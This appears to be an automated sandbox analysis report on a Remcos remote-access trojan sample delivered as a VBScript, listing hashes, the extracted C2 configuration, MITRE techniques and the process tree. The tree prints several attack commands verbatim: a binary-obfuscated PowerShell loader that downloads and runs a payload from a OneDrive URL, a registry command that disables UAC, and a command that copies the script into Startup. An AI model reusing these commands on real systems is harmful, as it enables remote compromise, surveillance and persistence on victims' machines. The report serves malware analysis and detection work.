remcos | e6a1d0c6cdb62e541492740eeabafe7f88f242d6a442fa0e2d2b4e8b1a2b1617

General

Target

Swift.vbs
Size

2KB
MD5

315401e5c4a15efa7628f2f10e56e122
SHA1

90b802655c11e33edeac8e70e01aaaff2c751e01
SHA256

e6a1d0c6cdb62e541492740eeabafe7f88f242d6a442fa0e2d2b4e8b1a2b1617
SHA512

513300679e77855352399ee181ad3e8cc70aaeef3ebdbad08464107b9395e48152a9fbb00976f430ce01e993641b038860b44bb518c9acc04b4d00bd39a682cb

Score

10^/10

remcos system evasion rat trojan

Malware Config

Extracted

Family

remcos

Botnet

system

C2

god7.duckdns.org:1984

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
ims
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
vlc
keylog_path
%AppData%
mouse_option
false
mutex
-5527C6
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
pdf
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Blocklisted process makes network request 7 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

6 2912 WScript.exe
7 2912 WScript.exe
9 2912 WScript.exe
11 2912 WScript.exe
20 1768 powershell.exe
21 1768 powershell.exe
23 1768 powershell.exe

flow	pid	process
6	2912	WScript.exe
7	2912	WScript.exe
9	2912	WScript.exe
11	2912	WScript.exe
20	1768	powershell.exe
21	1768	powershell.exe
23	1768	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 1 IoCs

Processes:

powershell.exe

pid process

1768 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1768 set thread context of 788 1768 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1844 reg.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1768 powershell.exe
1768 powershell.exe
Suspicious behavior: RenamesItself 1 IoCs

Processes:

cmd.exe

pid process

1968 cmd.exe

pid	process
1768	powershell.exe

description	pid	process	target process
PID 1768 set thread context of 788	1768	powershell.exe	RegAsm.exe

pid	process
1844	reg.exe

pid	process
1768	powershell.exe
1768	powershell.exe

pid	process
1968	cmd.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

Processes:

powershell.exe

description	pid	process
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeIncreaseQuotaPrivilege	1768	powershell.exe
Token: SeSecurityPrivilege	1768	powershell.exe
Token: SeTakeOwnershipPrivilege	1768	powershell.exe
Token: SeLoadDriverPrivilege	1768	powershell.exe
Token: SeSystemProfilePrivilege	1768	powershell.exe
Token: SeSystemtimePrivilege	1768	powershell.exe
Token: SeProfSingleProcessPrivilege	1768	powershell.exe
Token: SeIncBasePriorityPrivilege	1768	powershell.exe
Token: SeCreatePagefilePrivilege	1768	powershell.exe
Token: SeBackupPrivilege	1768	powershell.exe
Token: SeRestorePrivilege	1768	powershell.exe
Token: SeShutdownPrivilege	1768	powershell.exe
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeSystemEnvironmentPrivilege	1768	powershell.exe
Token: SeRemoteShutdownPrivilege	1768	powershell.exe
Token: SeUndockPrivilege	1768	powershell.exe
Token: SeManageVolumePrivilege	1768	powershell.exe
Token: 33	1768	powershell.exe
Token: 34	1768	powershell.exe
Token: 35	1768	powershell.exe
Token: 36	1768	powershell.exe
Token: SeIncreaseQuotaPrivilege	1768	powershell.exe
Token: SeSecurityPrivilege	1768	powershell.exe
Token: SeTakeOwnershipPrivilege	1768	powershell.exe
Token: SeLoadDriverPrivilege	1768	powershell.exe
Token: SeSystemProfilePrivilege	1768	powershell.exe
Token: SeSystemtimePrivilege	1768	powershell.exe
Token: SeProfSingleProcessPrivilege	1768	powershell.exe
Token: SeIncBasePriorityPrivilege	1768	powershell.exe
Token: SeCreatePagefilePrivilege	1768	powershell.exe
Token: SeBackupPrivilege	1768	powershell.exe
Token: SeRestorePrivilege	1768	powershell.exe
Token: SeShutdownPrivilege	1768	powershell.exe
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeSystemEnvironmentPrivilege	1768	powershell.exe
Token: SeRemoteShutdownPrivilege	1768	powershell.exe
Token: SeUndockPrivilege	1768	powershell.exe
Token: SeManageVolumePrivilege	1768	powershell.exe
Token: 33	1768	powershell.exe
Token: 34	1768	powershell.exe
Token: 35	1768	powershell.exe
Token: 36	1768	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

RegAsm.exe

pid process

788 RegAsm.exe

pid	process
788	RegAsm.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

WScript.exepowershell.exeRegAsm.execmd.exe

description	pid	process	target process
PID 2912 wrote to memory of 1768	2912	WScript.exe	powershell.exe
PID 2912 wrote to memory of 1768	2912	WScript.exe	powershell.exe
PID 2912 wrote to memory of 1968	2912	WScript.exe	cmd.exe
PID 2912 wrote to memory of 1968	2912	WScript.exe	cmd.exe
PID 1768 wrote to memory of 788	1768	powershell.exe	RegAsm.exe
PID 1768 wrote to memory of 788	1768	powershell.exe	RegAsm.exe
PID 1768 wrote to memory of 788	1768	powershell.exe	RegAsm.exe
PID 1768 wrote to memory of 788	1768	powershell.exe	RegAsm.exe
PID 1768 wrote to memory of 788	1768	powershell.exe	RegAsm.exe
PID 1768 wrote to memory of 788	1768	powershell.exe	RegAsm.exe
PID 1768 wrote to memory of 788	1768	powershell.exe	RegAsm.exe
PID 1768 wrote to memory of 788	1768	powershell.exe	RegAsm.exe
PID 1768 wrote to memory of 788	1768	powershell.exe	RegAsm.exe
PID 1768 wrote to memory of 788	1768	powershell.exe	RegAsm.exe
PID 1768 wrote to memory of 788	1768	powershell.exe	RegAsm.exe
PID 1768 wrote to memory of 788	1768	powershell.exe	RegAsm.exe
PID 788 wrote to memory of 2636	788	RegAsm.exe	cmd.exe
PID 788 wrote to memory of 2636	788	RegAsm.exe	cmd.exe
PID 788 wrote to memory of 2636	788	RegAsm.exe	cmd.exe
PID 2636 wrote to memory of 1844	2636	cmd.exe	reg.exe
PID 2636 wrote to memory of 1844	2636	cmd.exe	reg.exe
PID 2636 wrote to memory of 1844	2636	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Swift.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $t0='DE5'.replace('D','I').replace('5','x');sal g $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01100111,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,01101111,01101110,01100101,01100100,01110010,01101001,01110110,01100101,00101110,01101100,01101001,01110110,01100101,00101110,01100011,01101111,01101101,00101111,01100100,01101111,01110111,01101110,01101100,01101111,01100001,01100100,00111111,01100011,01101001,01100100,00111101,01000101,01000100,00110111,01000110,00110011,01000001,01000011,01000100,01000011,01000010,01000001,00110001,01000110,00110111,01000100,00110010,00100110,01110010,01100101,01110011,01101001,01100100,00111101,01000101,01000100,00110111,01000110,00110011,01000001,01000011,01000100,01000011,01000010,01000001,00110001,01000110,00110111,01000100,00110010,00100101,00110010,00110001,00110100,00110010,00110101,00100110,01100001,01110101,01110100,01101000,01101011,01100101,01111001,00111101,01000001,01001000,00110111,01001101,01100001,01001110,00110100,01100010,01100011,01001001,01001001,01100110,01110111,01010000,01110011,00100111,00101001,01111100,01100111) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };g([system.String]::Join('', $gf))
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1768

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:788

C:\Windows\SysWOW64\cmd.exe
/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
4⤵
- Suspicious use of WriteProcessMemory
PID:2636

C:\Windows\SysWOW64\reg.exe
C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
5⤵
- Modifies registry key
PID:1844

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c move "C:\Users\Admin\AppData\Local\Temp\Swift.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
2⤵
- Suspicious behavior: RenamesItself
PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:4988

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Bypass User Account Control

1

T1088

Defense Evasion

Bypass User Account Control

1

T1088

Disabling Security Tools

1

T1089

Modify Registry

2

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\46c6aaab-efef-4dfe-8343-758e541a7c19\AgileDotNetRT64.dll
Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
memory/788-139-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/788-137-0x0000000000431302-mapping.dmp

Download
memory/788-136-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/788-138-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/788-143-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/1768-132-0x00000185AAB50000-0x00000185AAB72000-memory.dmp

Filesize
136KB

Download
memory/1768-133-0x00007FF8A1C10000-0x00007FF8A26D1000-memory.dmp

Filesize
10.8MB

Download
memory/1768-135-0x00007FF89D610000-0x00007FF89D75E000-memory.dmp

Filesize
1.3MB

Download
memory/1768-130-0x0000000000000000-mapping.dmp

Download
memory/1844-142-0x0000000000000000-mapping.dmp

Download
memory/1968-131-0x0000000000000000-mapping.dmp

Download
memory/2636-141-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads